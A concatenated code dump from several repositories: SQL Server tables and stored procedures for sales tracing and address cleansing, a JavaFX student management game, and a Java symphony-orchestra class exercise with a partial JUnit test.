, [DocType]
, [Plant]
,[PlantStreet]
, [PlantAddress]
, [PremiumAmt]
, [PremiumPct]
, [CondPrcUni]
,[CondUnitDo]
, [ContDisc]
, [CustGrp]
, [PDI Denied Rebate]
, [PDI Comments]
)
-- where sales_period = @vSales_Period
select [MNTH]
,[DAY]
,[SALES_PERIOD]
,[YEAR]
,[DIST_ID]
,[DIST_NR]
,left([TRC_TRANS_TYP],2)
,left([TRC_CNT_ID],30)
,left([TRC_PROD_ID],48)
,left([TRC_PRC_TYP],15)
,left([INV_ID],30)
,[INV_DT]
,[INV_DT_NR]
,convert(char(3),left([TRC_UNIT],3))
,convert(float,[TRC_QTY_SLD])
,convert(float,[TRC_CNT_PRC])
,convert(float,[TRC_LIST_PRC])
,convert(float,[TRC_DIST_PRC])
,convert(float,[TRC_RBT_AMT])
,convert(int,[LINE_NR])
,left([SHPTO_ID],20)
,left([SHPTO_NM],200)
,left([SHPTO_ADDR_1],100)
,left([SHPTO_ADDR_2],100)
,left([SHPTO_CITY],100)
,left([SHPTO_ST],10)
,left([SHPTO_ZIP],12)
,left([SHPTO_TYP],100)
,left([BILLTO_ID],20)
,left([BILLTO_NM],200)
,left([BILLTO_ADDR_1],150)
,left([BILLTO_ADDR_2],150)
,left([BILLTO_CITY],100)
,left([BILLTO_ST],10)
,left([BILLTO_ZIP],12)
,left([BILLTO_TYP],100)
,left([DBT_MEMO],40)
,left([CURRENT TIMESTAMP],50)
,convert(float,[TRC_EXT_LIST_COST]),convert(float,[TRC_EXT_CNT_COST])
--,convert(float,[TRC_EXT_DIST_COST])
,convert(float,[TRC_EXT_RBT_AMT])
,[TRC_PROD_DESC]
,'P'
, 'BLK'
, [Vendor]
, MedlineCon
, GpoId
, MedlineItm
, [Material GTIN]
, [Sold-To DEA#]
, [Sold-To GLN]
, [DocType]
, [Plant]
,[PlantStreet]
, [PlantAddress]
, [PremiumAmt]
, [PremiumPct]
, [CondPrcUni]
,[CondUnitDo]
, [CondDisc]
, [CustGrp]
, [PDI Denied Rebate]
, [PDI Comments]
FROM [STG0].[SALES_TRACING_NON_EDI_ETL_MEDLINE_RBT]
-- and dist_id = isnull(@vdist_Id, dist_id)
<file_sep>/PDI_SALESTRACING_DEV/Security/VT_TEST.sql
CREATE SCHEMA [VT_TEST]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/Security/NICEPAK_Krunal.Trivedi.sql
CREATE USER [NICEPAK\Krunal.Trivedi] FOR LOGIN [NICEPAK\Krunal.Trivedi];
<file_sep>/PDI_SALESTRACING_DEV/CNT/Tables/PRC_AUTH_EB.sql
CREATE TABLE [CNT].[PRC_AUTH_EB] (
[PRC_AUTH_ID] INT IDENTITY (1, 1) NOT NULL,
[PDI_GPO_ID] INT NULL,
[GPO_NM] VARCHAR (15) NULL,
[GPO_MBR_ID] VARCHAR (15) NULL,
[GPO_MBR_NM] VARCHAR (250) NULL,
[GPO_MBR_ADDR1] VARCHAR (250) NULL,
[GPO_MBR_ADDR2] VARCHAR (250) NULL,
[GPO_MBR_CITY] VARCHAR (50) NULL,
[GPO_MBR_ST] VARCHAR (50) NULL,
[GPO_MBR_ZIP] VARCHAR (5) NULL,
[GPO_CNT_NR] VARCHAR (15) NULL,
[MFG_CNT_NR] VARCHAR (15) NULL,
[TIER_NR] INT NULL,
[PRC_EFF_DT] DATE NULL,
[PRC_EXP_DT] DATE NULL,
[PRC_ACT_NR] VARCHAR (50) NULL,
[PRC_ACT_DT] DATE NULL,
[LIC_NR] VARCHAR (10) NULL,
[STATUS] VARCHAR (20) NULL,
[SRC_REC_ID] VARCHAR (15) NULL,
[DEA] VARCHAR (50) NULL,
[GLN] VARCHAR (50) NULL,
[HIN] VARCHAR (50) NULL,
[SEGMENT] VARCHAR (50) NULL,
[REC_STAT_CD] CHAR (1) NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[EDI_TRANSFER_STAT] CHAR (1) NULL,
[CURRENT_TIMESTAMP] DATETIME NULL,
[CMPNY_ID] INT NULL,
[PRC_AUTH_STAT_CD] CHAR (1) DEFAULT ('P') NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_CONTRACT_EB.sql
CREATE PROCEDURE [CNT].[spGET_CONTRACT_EB]
@cntNr varchar(7)
AS
BEGIN
SET NOCOUNT ON;
SELECT DISTINCT c.CMPNY_ID AS COMPANY_ID
,c.SRC_CMPNY_ID
,c.CMPNY_NM AS COMPANY_NM
,c.CMPNY_ADDR_1 AS ADDR_1
,c.CMPNY_CITY AS CITY
,c.CMPNY_ST AS ST
,c.CMPNY_ZIP AS ZIP
,eb.cnt_nr
,CONVERT(varchar, CAST( ROUND(cs.[TOTAL SALES PRIOR YEAR],0) AS money), 1) AS SALES_AMT,
c.BUYER_INDICATOR as BI,
cs.[TOTAL SALES PRIOR YEAR]
FROM CMPNY.COMPANY c
inner join CNT_DEV.CNT_EB eb on c.CMPNY_ID = eb.cmpny_Id
LEFT JOIN CMPNY.CMPNY_SALES cs ON cs.CMPNY_ID = c.CMPNY_ID
where cnt_nr = @cntNr
ORDER BY cs.[TOTAL SALES PRIOR YEAR] desc
END
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGetPriceAuthTiersByBuyerGrpid.sql
-- =============================================
-- Author: <Author,,Name>
-- Create date: <Create Date,,>
-- Description: <Description,,>
-- =============================================
CREATE PROCEDURE CNT.spGetPriceAuthTiersByBuyerGrpid
@buyerGroupId INT
AS
BEGIN
SELECT DISTINCT C.CNT_TIER_LVL
FROM [SNDBX].[PRC_AUTH_EB] P
JOIN [CNT].[CONTRACT] C ON C.CNT_NR = P.MFG_CNT_NR
AND C.REC_STAT_CD = 'A'
WHERE PRC_AUTH_STAT_CD = 'P'
AND C.BUYER_GRP_ID = @buyerGroupId;
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spADDR_LAUNDRY_V2.sql
CREATE PROCEDURE [STAGE].[spADDR_LAUNDRY_V2]
@ID INT = NULL
WITH EXEC AS CALLER
AS
BEGIN
--SELECT TOP 1000 * FROM STAGE.TEMP_ADDR_LAUNDRY
-- First load the ID, Name and addresses to temp laundry table for cleaning
-- Take comment out once we are done with developing the stored proc
-- If both Addr1 and Addr2 is same then delete Addr2
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ADDR2 = NULL
WHERE ADDR1 = ADDR2
AND TRC_ENDUSER_1_ID = ISNULL(@ID ,TRC_ENDUSER_1_ID );
-- Remove all extra spaces from the fields
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET
DISTACCTSHIPNAME = STAGE.fnRemoveSpace_SpChar(DISTACCTSHIPNAME),
ADDR1 = STAGE.fnRemoveSpace_SpChar(ADDR1),
ADDR2 = STAGE.fnRemoveSpace_SpChar(ADDR2)
WHERE TRC_ENDUSER_1_ID = ISNULL(@ID ,TRC_ENDUSER_1_ID );
-- IF Address Line 1 is NULL but Address Line 2 has a value - switch
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET
ADDR1 = ADDR2,
ADDR2 = NULL
WHERE ADDR1 IS NULL AND ADDR2 IS NOT NULL
AND TRC_ENDUSER_1_ID = ISNULL(@ID ,TRC_ENDUSER_1_ID );
-- Detect and assign proper value for Null or ZIP address line
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ADDR1 = 'NO ADDRESS'
WHERE ADDR1 IS NULL AND ADDR2 IS NULL
AND TRC_ENDUSER_1_ID = ISNULL(@ID ,TRC_ENDUSER_1_ID );
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ADDR1 = 'NO ADDRESS'
WHERE ADDR1 LIKE 'ZIP%' AND ADDR2 IS NULL
AND TRC_ENDUSER_1_ID = ISNULL(@ID ,TRC_ENDUSER_1_ID );
-- Change all string numbers to numeric. It will help to find street numbers in next step
UPDATE C
SET ADDR1 =
CONVERT(VARCHAR(10),N.NBR_NUM)+' '+ RIGHT(C.ADDR1 ,LEN(C.ADDR1)-charindex(' ',C.ADDR1 ))
FROM
STAGE.TEMP_ADDR_LAUNDRY C,
REF.NBR_CNVRTR N
WHERE
C.ADDR1 IS NOT NULL AND charindex(' ',C.ADDR1) > 0
AND ISNUMERIC(LEFT(C.ADDR1,charindex(' ',C.ADDR1)-1)) = 0
AND LEFT(C.ADDR1,charindex(' ',C.ADDR1)-1) = N.NBR_STR
AND TRC_ENDUSER_1_ID = ISNULL(@ID ,TRC_ENDUSER_1_ID );
UPDATE C
SET ADDR2 =
CONVERT(VARCHAR(10),N.NBR_NUM)+' '+ RIGHT(C.ADDR2 ,LEN(C.ADDR2)-charindex(' ',C.ADDR2 ))
FROM
STAGE.TEMP_ADDR_LAUNDRY C,
REF.NBR_CNVRTR N
WHERE
C.ADDR2 IS NOT NULL AND charindex(' ',C.ADDR2) > 0
AND ISNUMERIC(LEFT(C.ADDR2,charindex(' ',C.ADDR2)-1)) = 0
AND LEFT(C.ADDR2,charindex(' ',C.ADDR2)-1) = N.NBR_STR
AND TRC_ENDUSER_1_ID = ISNULL(@ID ,TRC_ENDUSER_1_ID );
-- Grab numbers from Addr1 and Addr 2 - and populate to str_nr
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET
ST_NR_1 = STAGE.fnFirstWord(ADDR1),
ST_1 = STAGE.fnSecondPart(ADDR1,Len(STAGE.fnFirstWord(ADDR1))+1)
WHERE ISNUMERIC(STAGE.fnFirstWord(ADDR1)) = 1
AND TRC_ENDUSER_1_ID = ISNULL(@ID ,TRC_ENDUSER_1_ID );
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET
ST_NR_2 = STAGE.fnFirstWord(ADDR2),
ST_2 = STAGE.fnSecondPart(ADDR2,Len(STAGE.fnFirstWord(ADDR2))+1)
WHERE ISNUMERIC(STAGE.fnFirstWord(ADDR2)) = 1
AND TRC_ENDUSER_1_ID = ISNULL(@ID ,TRC_ENDUSER_1_ID );
UPDATE STAGE.TEMP_ADDR_LAUNDRY SET ST_1 = STAGE.fnSecondPart(ADDR1,Len(ST_NR_1)+1)
WHERE Len(ST_NR_1)>0;
UPDATE STAGE.TEMP_ADDR_LAUNDRY SET ST_2 = STAGE.fnSecondPart(ADDR2,Len(ST_NR_2)+1)
WHERE Len(ST_NR_2)>0
AND TRC_ENDUSER_1_ID = ISNULL(@ID ,TRC_ENDUSER_1_ID );
-- Move SUITE, FLOOR etc number etc from ADDR1
EXEC [STAGE].[spCLEANSE_FOR_ADDR2];
-- Find the street type and street name
EXEC [STAGE].[spCLEANSE_FOR_ROADWAY];
-- MAKE FINAL UPDATED ADDRESS
-- NEED TO FIX ST_1, AND/OR SUFFIX FOR DORECTIONS N, W,
UPDATE T
SET T.SUFFIX = REPLACE(SUFFIX,A.ADDR_VAR, A.ADDR_STD) ,
SUFFIX_VLD_IN = 'Y'
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(SUFFIX)) = A.ADDR_VAR
WHERE SUFFIX IS NOT NULL
AND ADDR_TYP = 'DIRECTION';
UPDATE T
SET T.SUFFIX = REPLACE(SUFFIX,A.ADDR_VAR, A.ADDR_STD),
SUFFIX_VLD_IN = 'Y'
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnFirstWord(SUFFIX))) = A.ADDR_VAR
WHERE SUFFIX IS NOT NULL
AND CAT = 'Roadway';
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET SUFFIX_VLD_IN = 'Y'
FROM STAGE.TEMP_ADDR_LAUNDRY T
WHERE ISNUMERIC(LTRIM(RTRIM(STAGE.fnFirstWord(SUFFIX)))) = 1
AND LEFT(LTRIM(RTRIM(SUFFIX)),1) NOT IN ('-','+','$');
UPDATE T
SET T.SUFFIX = REPLACE(SUFFIX,A.ADDR_VAR, A.ADDR_STD)
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(SUFFIX)) LIKE '% '+A.ADDR_VAR
WHERE SUFFIX IS NOT NULL
AND ADDR_TYP = 'DIRECTION'
AND ST_NR_1 IS NOT NULL
AND SUFFIX_VLD_IN = 'Y';
-- REMOVE BUILDING SUITES ETC FROM SUFFIX FOR VALID SUFFIXES
UPDATE T
SET ADDR_2_CNDT = CASE WHEN ADDR_2_CNDT IS NULL THEN ADDR_STD ELSE ADDR_2_CNDT END,
SUFFIX = STAGE.fnGet_FirstPart(SUFFIX,CHARINDEX(' '+A.ADDR_VAR, SUFFIX))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON SUFFIX LIKE '% '+A.ADDR_VAR+'%'
WHERE CAT LIKE 'ADDR2%'
AND ADDR_TYP = 'FLOOR'
AND SUFFIX_VLD_IN = 'Y';
UPDATE T
SET
ADDR_2_CNDT = CASE WHEN A.CAT = 'ADDR2_KEEP' AND ADDR_2_CNDT IS NULL
THEN RIGHT(SUFFIX,LEN(SUFFIX)-charindex(A.ADDR_VAR,SUFFIX)+1)
ELSE ADDR_2_CNDT END,
SUFFIX = STAGE.fnGet_FirstPart(SUFFIX,CHARINDEX(' '+A.ADDR_VAR, SUFFIX))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON SUFFIX LIKE '% '+A.ADDR_VAR+'%' AND charindex(A.ADDR_VAR,SUFFIX)>0
WHERE
ADDR1 IS NOT NULL
AND A.CAT LIKE 'ADDR2%'
AND SUFFIX_VLD_IN = 'Y';
-- MAKE THE ADDR2 STANDARD - Suite to STE, Building to BLDG
UPDATE E
SET ADDR_2_CNDT = REPLACE(ADDR_2_CNDT,LEFT(ADDR_2_CNDT,charindex(' ',ADDR_2_CNDT)),A.ADDR_STD)
FROM STAGE.TEMP_ADDR_LAUNDRY E
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(LEFT(ADDR_2_CNDT,charindex(' ',ADDR_2_CNDT)))) = A.ADDR_VAR
WHERE ADDR_2_CNDT IS NOT NULL
AND CAT = 'ADDR2_KEEP'
;
-- This will take care of Floor
UPDATE E
SET ADDR_2_CNDT = A.ADDR_STD
FROM STAGE.TEMP_ADDR_LAUNDRY E
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(ADDR_2_CNDT)) = A.ADDR_VAR
WHERE
ADDR_2_CNDT IS NOT NULL
AND CAT = 'ADDR2_KEEP';
----------------------------------------------------------------
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = STAGE.fnRemoveSpace (ST_NR_1+' '+ST_NM_1+' '+ST_TYP_1
+ ' '+CASE WHEN SUFFIX_VLD_IN = 'Y' THEN SUFFIX ELSE '' END)
WHERE ADDR_SRCE = 1 ;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = STAGE.fnRemoveSpace (ST_NR_2+' '+ST_NM_2+' '+ST_TYP_2
+ ' '+CASE WHEN SUFFIX_VLD_IN = 'Y' THEN SUFFIX ELSE '' END)
WHERE ADDR_SRCE = 2
AND UPD_ADDR1 IS NULL ;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR2 = STAGE.fnRemoveSpace (ADDR_2_CNDT) --- WE dont need this second filed, we could save it to upd_addr2 from begining
WHERE ADDR_2_CNDT IS NOT NULL;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = STAGE.fnRemoveSpace (ST_NR_1+' '+ST_1)
WHERE ST_NR_1 IS NOT NULL AND UPD_ADDR1 IS NULL ;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = STAGE.fnRemoveSpace (ST_NR_2+' '+ST_2)
WHERE ST_NR_2 IS NOT NULL AND UPD_ADDR1 IS NULL ;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = 'NO ADDRESS'
WHERE ADDR1 = 'NO ADDRESS'
AND UPD_ADDR1 IS NULL;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET UPD_ADDR1 = 'INVALID ADDRESS'
WHERE UPD_ADDR1 IS NULL;
UPDATE T
SET T.CITY = Z.City
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ZIP_CODE Z ON LEFT(LTRIM(T.ZIP),5) = Z.Zipcode AND Z.LocationType = 'PRIMARY'
WHERE T.CITY=Z.City;
-- run a location search in all
-- then look for street type - standardize and keep it in st_typ
-- anything after that keep it in another column
-- anything before that is in str nm column
-- staradize street nm
-- concatenate and get street UPD_ADDR1
-- then look for number in text and populate str nr
-- for the remaning look for street adress in ADDR2_2
-- ste, flr etc in temp field
--- extract suite, floor etc and populate upd_addr2
-- Update the main table
-- Truncate the laundry
END;<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/CMPNY_TO_ADDR_XREF.sql
CREATE TABLE [CMPNY].[CMPNY_TO_ADDR_XREF] (
[XREF_ID] INT IDENTITY (1, 1) NOT NULL,
[CMPNY_ID] INT NULL,
[SRC_DATA_ID] INT NOT NULL,
[ADDR_ID] INT NULL,
[PRIMARY_ADDR_IN] CHAR (1) NULL,
[MLTPL_CMPNY_IN] CHAR (1) NULL,
[PRIMARY_CMPNY_IN] CHAR (1) NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_CD] CHAR (1) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/NICEPAK_htarafder.sql
CREATE USER [NICEPAK\htarafder] FOR LOGIN [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spReplaceExpiredContracts.sql
CREATE PROCEDURE [TRC].[spReplaceExpiredContracts] @vSales_Period VARCHAR(10) = NULL,
@vDIST_ID VARCHAR(20) = NULL,
@buyerGrp VARCHAR(50) = NULL,
@vTRC_CNT_ID VARCHAR(30),
@vUPD_CNT_ID VARCHAR(30),
@vPROD_ID VARCHAR(15)
AS
BEGIN
UPDATE STAGE.TRC_CNT_CORR_XREF
SET
UPD_CNT_ID = @vUPD_CNT_ID
WHERE TRC_CNT_ID = @vTRC_CNT_ID
AND PROD_ID = @vPROD_ID;
END; | 7dc262952f12301439e1881b3b5150a033cffa4f | [
"SQL"
] | 334 | SQL | UcgajjarPDI/Nicepak-PIMS | 8622eed14349ad09b3a40b7c0a82694778a052a3 | 90ba775d6a08408207a27c0e7575745061381e2b |
refs/heads/main | <file_sep>package game;
import javafx.scene.input.MouseEvent;
public class RoleListController {
public void OnClickShowDetail_0(MouseEvent mouseEvent) {
}
public void OnClickShowDetail_1(MouseEvent mouseEvent) {
}
public void OnClickShowDetail_2(MouseEvent mouseEvent) {
}
public void OnClickShowDetail_3(MouseEvent mouseEvent) {
}
public void OnClickShowDetail_4(MouseEvent mouseEvent) {
}
public void OnMouseClicked(MouseEvent mouseEvent) {
}
}
<file_sep>package game;
import javafx.fxml.FXML;
import javafx.scene.control.Button;
import javafx.scene.text.Text;
import javafx.scene.text.TextFlow;
public class ProcessingEventTextController {
@FXML
TextFlow showing_msg_flow;
@FXML
Button continue_btn;
@FXML
public void setShowing_msg_flow(Text msg){
showing_msg_flow=new TextFlow(msg);
}
}
<file_sep>package game.model;
import game.Main;
import java.util.ArrayList;
public class Gamerule {
private final ArrayList<Role> charactersArrayList = new ArrayList<>();
private final ArrayList<GameEvent> gameEventArrayList = new ArrayList<>();
private int sacsd;
private int currentDay;
private int currentEvent = 0;
public Gamerule(){
sacsd = 100;
currentDay = 1;
int temp = 0;
for(GameEventType gameEventType:GameEventType.values()){
int[] remainTime = {20, 40, 60, 80};
GameEvent tempEvent = new GameEvent(gameEventType, remainTime[temp]);
gameEventArrayList.add(tempEvent);
temp++;
}
charactersArrayList.add(new Director());
charactersArrayList.add(new ViceDirector());
charactersArrayList.add(new ActivitiesDirector());
}
public void doCycle(){
currentDay++;
for (GameEvent gameEvent: gameEventArrayList) {
gameEvent.dayPass();
}
for(Role role: charactersArrayList){
setDayState(role, gameEventArrayList.get(currentEvent), currentDay%5);
}
if(gameEventArrayList.get(currentEvent).doneValue == 0) {
Main.gameState = GameState.WIN;
}
else if(charactersArrayList.size()==0 || gameEventArrayList.get(currentEvent).getRemainDays() <= 0) {
Main.gameState = GameState.LOSE;
}
else {
Main.gameState = GameState.CONTINUE;
}
}
public void setDayState(Role ch, GameEvent cp, int day) {
TaskState t = ch.getTaskState(day);
if(ch.checkMotion()){
switch (t) {
case WORK:
case SPECIALWORK:
// setSpecialMove(ch,day);
cp.finishPart(ch.getWorkAbility());
ch.getHurt(ch.getWorkAbility()*5);
break;
case NONE:
ch.getHurt(ch.breakMotionValue());
default:
break;
}
}
else{
System.out.println(charactersArrayList);
charactersArrayList.remove(ch);
System.out.println(charactersArrayList);
}
}
public String getCurrentEventName(){
return gameEventArrayList.get(currentEvent).getEventName();
}
public Integer getCurrentDate(){ return this.currentDay; }
public Integer getRemainDay(){ return this.gameEventArrayList.get(currentEvent).getRemainDays();}
public Integer getRemainProgress(){ return this.gameEventArrayList.get(currentEvent).getDoneValue();}
}
<file_sep>package game;
import com.sun.xml.internal.ws.policy.EffectiveAlternativeSelector;
import game.model.Gamerule;
import javafx.fxml.FXML;
import javafx.fxml.Initializable;
import javafx.scene.control.Button;
import javafx.scene.control.Label;
import javafx.scene.control.ProgressBar;
import javafx.event.ActionEvent;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.input.MouseEvent;
import java.net.URL;
import java.util.ResourceBundle;
public class ScheduleFormController implements Initializable {
public static final String MAIN_DIRACTOR="game/material/mainDiractorImg.png", VICE_DIRACTOR= "game/material/ViceDiractorImg.png", STORAGE_MANAGER="game/material/storageManagerImg.png", EVENT_MANAGER="game/material/EventManagerImg.png", LITERATURE_BOSS="game/material/LiteratureBossImg.png";
@FXML
private Label the_quest, num_of_week, quest_time_remaining, the_quest_remaining, C_HP_remaining, P_HP_remaining;
@FXML
private ProgressBar C_HP_BAR, P_HP_BAR;
@FXML
private Button continue_btn;
@FXML
private ImageView main_director_sign, vice_director_sign, event_manager_sign, literature_boss_sign, storage_manager_sign;
@FXML
private ImageView showing_choosed_role_img;
private Gamerule gamerule;
@FXML
public void continueChoosingEvent(ActionEvent e) throws Exception{
//TO DO
//放按下按鈕後需要做的事
gamerule.doCycle();
this.setNum_of_week(gamerule.getCurrentDate()/5+1);
setQuest_time_remaining_day(this.gamerule.getRemainDay());
setThe_quest_remaining_progress(this.gamerule.getRemainProgress());
switch (Main.gameState){
case WIN:
//Win
break;
case LOSE:
//Lose
break;
default:
break;
}
}
@FXML
public void setThe_quest(String quest_name){
String full_text="本次任務 : "+quest_name;
this.the_quest.setText(full_text);
}
@FXML
public void setNum_of_week(Integer num_of_week){
String full_text="第"+num_of_week.toString()+"周";
this.num_of_week.setText(full_text);
}
@FXML
public void setQuest_time_remaining_day(Integer remaining_days){
String full_text="剩餘 "+remaining_days+" 天";
this.quest_time_remaining.setText(full_text);
}
@FXML
public void setThe_quest_remaining_progress(Integer quailty){
String full_text="剩餘 : "+quailty.toString();
this.the_quest_remaining.setText(full_text);
}
@FXML
public void setC_HP(Integer remaining_HP){
String full_text=remaining_HP.toString()+"/100";
Double bar_progress= Double.valueOf(remaining_HP/100);
this.C_HP_remaining.setText(full_text);
this.C_HP_BAR.setProgress(bar_progress);
}
@FXML
public void setP_HP(Integer remaining_HP){
String full_text=remaining_HP.toString()+"/100";
Double bar_progress= Double.valueOf(remaining_HP/100);
this.P_HP_remaining.setText(full_text);
this.P_HP_BAR.setProgress(bar_progress);
}
public void setAllSignInvisiable(){
this.main_director_sign.setVisible(false);
this.vice_director_sign.setVisible(false);
this.event_manager_sign.setVisible(false);
this.literature_boss_sign.setVisible(false);
this.storage_manager_sign.setVisible(false);
}
public void main_director_img_onClick(MouseEvent e) {
setAllSignInvisiable();
this.main_director_sign.setVisible(true);
this.showing_choosed_role_img.setImage(new Image(MAIN_DIRACTOR));
}
public void vice_director_img_onClick(MouseEvent e) {
setAllSignInvisiable();
this.vice_director_sign.setVisible(true);
this.showing_choosed_role_img.setImage(new Image(VICE_DIRACTOR));
}
public void event_manager_img_onClick(MouseEvent e) {
setAllSignInvisiable();
this.event_manager_sign.setVisible(true);
this.showing_choosed_role_img.setImage(new Image(EVENT_MANAGER));
}
public void literature_boss_img_onClick(MouseEvent e) {
setAllSignInvisiable();
this.literature_boss_sign.setVisible(true);
this.showing_choosed_role_img.setImage(new Image(LITERATURE_BOSS));
}
public void storage_manager_img_onClick(MouseEvent e) {
setAllSignInvisiable();
this.storage_manager_sign.setVisible(true);
this.showing_choosed_role_img.setImage(new Image(STORAGE_MANAGER));
}
@Override
public void initialize(URL location, ResourceBundle resources) {
this.gamerule = new Gamerule();
setThe_quest(this.gamerule.getCurrentEventName());
setQuest_time_remaining_day(this.gamerule.getRemainDay());
setThe_quest_remaining_progress(this.gamerule.getRemainProgress());
}
}
<file_sep>package game;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.fxml.FXMLLoader;
import javafx.fxml.Initializable;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.stage.Stage;
import java.net.URL;
import java.util.ResourceBundle;
public class MenuController implements Initializable {
// private ComputerCamp cp;
@FXML
private Button startBtn;
@FXML
public void handleButtonAction (ActionEvent event) throws Exception {
Stage stage;
Parent root;
FXMLLoader loader=new FXMLLoader(getClass().getResource("schedule_form.fxml"));
root = loader.load();
ScheduleFormController sfc=loader.getController();
//開始設定畫面
// sfc.setThe_quest(cp.getEventName());
sfc.setNum_of_week(new Integer(1));
// sfc.setThe_quest_remaining(cp.getDoneValue());
stage = (Stage) startBtn.getScene().getWindow();
Scene scene = new Scene(root,900,600);
stage.setScene(scene);
stage.show();
}
// public void setCP(ComputerCamp cp){
// this.cp=cp;
// }
@Override
public void initialize(URL location, ResourceBundle resources) {
}
}
<file_sep># Home_work_game_UI_design_practice
* javac game/*.java
* java game.Main
* enjoy!!
| fce7bff32f97e3e8f005dfd897e12436c8802be3 | [
"Markdown",
"Java"
] | 6 | Java | cardze/homework_game_UI_practice | c99d0f97b0e1e6ca6ff4f81ff256d6923e0c5d42 | 5d49f527805f1a4ca3fc7ef52d84f39a65a6e2c9 |
refs/heads/master | <file_sep># CCSymphonyOrchestra:
I have built an App which I practice Java Abstract class, polymorphism etc, using a Symphony Orchestra as. a model.
<file_sep>package behaviours;
public interface IWork {
String contract();
int getSalary();
}
<file_sep>package players.brass;
import behaviours.IPlay;
import behaviours.IWork;
import players.Musician;
import players.RankType;
import java.util.Date;
public class Horn extends Musician implements IPlay, IWork {
private String manufacturer;
public Horn(String name, RankType position, String instrumentPlayed, String section, Date startDate, String manufacturer) {
super(name, position, instrumentPlayed, section, startDate);
this.manufacturer = manufacturer;
}
public String getManufacturer() {
return manufacturer;
}
public String sound(){
return "Soaring melodies";
}
public String contract(){
return "Pay per session";
}
}
<file_sep>package management;
import behaviours.IWork;
import players.RankType;
import java.util.Date;
public abstract class OfficeStaff implements IWork {
private String name;
private String jobTitle;
private RankType position;
private Date startDate;
public OfficeStaff(String name, String jobTitle, RankType position, Date startDate) {
this.name = name;
this.jobTitle = jobTitle;
this.position = position;
this.startDate = startDate;
}
public String getName() {
return name;
}
public String getJobTitle() {
return jobTitle;
}
public RankType getRank(){
return this.position;
}
public Date getStartDate() {
return startDate;
}
public int getSalary(){
return this.position.getSalary();
}
}
<file_sep>package players;
import behaviours.IPlay;
import behaviours.IWork;
import java.util.Date;
public abstract class Musician implements IPlay, IWork {
private String name;
private String instrumentPlayed;
private String section;
private RankType position;
private Date startDate;
public Musician(String name, RankType position, String instrumentPlayed, String section, Date startDate) {
this.name = name;
this.position = position;
this.instrumentPlayed = instrumentPlayed;
this.section = section;
this.startDate = startDate;
}
public String getName() {
return name;
}
public String getInstrumentPlayed(){
return instrumentPlayed;
}
public String getSection() {
return section;
}
public RankType getRank(){
return this.position;
}
public Date getStartDate() { return this.startDate;}
public int getSalary(){
return this.position.getSalary();
}
// public String sound(){
// return "";
// }
// public String contract(){
// return "";
// }
}
<file_sep>package players.percussion;
import behaviours.IPlay;
import behaviours.IWork;
import players.Musician;
import players.RankType;
import java.util.Date;
public class Timpani extends Musician implements IPlay, IWork {
private String material;
public Timpani(String name, RankType position, String instrumentPlayed, String section, Date startDate, String material) {
super(name, position, instrumentPlayed, section, startDate);
this.material = material;
}
public String sound(){
return "Boom, boom.";
}
public String getMaterial() {
return material;
}
public String contract(){
return "Paid per session";
}
}
<file_sep>package players.strings;
import behaviours.IPlay;
import behaviours.IWork;
import players.Musician;
import players.RankType;
import java.util.Date;
public class Violin1 extends Musician implements IPlay, IWork {
private String instrumentMaker;
private String date;
public Violin1(String name, RankType position, String instrumentPlayed,
String section, Date startDate, String instrumentMaker, String date) {
super(name, position, instrumentPlayed,section, startDate);
this.instrumentMaker = instrumentMaker;
this.date = date;
}
public String getInstrumentMaker() {
return instrumentMaker;
}
public String getDate() {
return date;
}
@Override
public String sound(){
return "I make a glorious sound."; }
@Override
public String contract(){
return "Pay per session";
}
}
<file_sep>import org.junit.Before;
import org.junit.Test;
import players.RankType;
import players.brass.Horn;
import java.util.Calendar;
import java.util.Date;
import static org.junit.Assert.assertEquals;
public class HornTest {
Horn horn2;
Date startDate;
@Before
public void before(){
startDate = new Date(2017, Calendar.JUNE, 12);
horn2 = new Horn("<NAME>", RankType.SUBPRINCIPAL, "Horn", "Brass", startDate,"Conn");
}
@Test
public void getName(){
assertEquals("<NAME>", horn2.getName());
}
@Test
public void getInstrumentPlayed(){
assertEquals("Horn", horn2.getInstrumentPlayed());
}
@Test
public void getSection(){
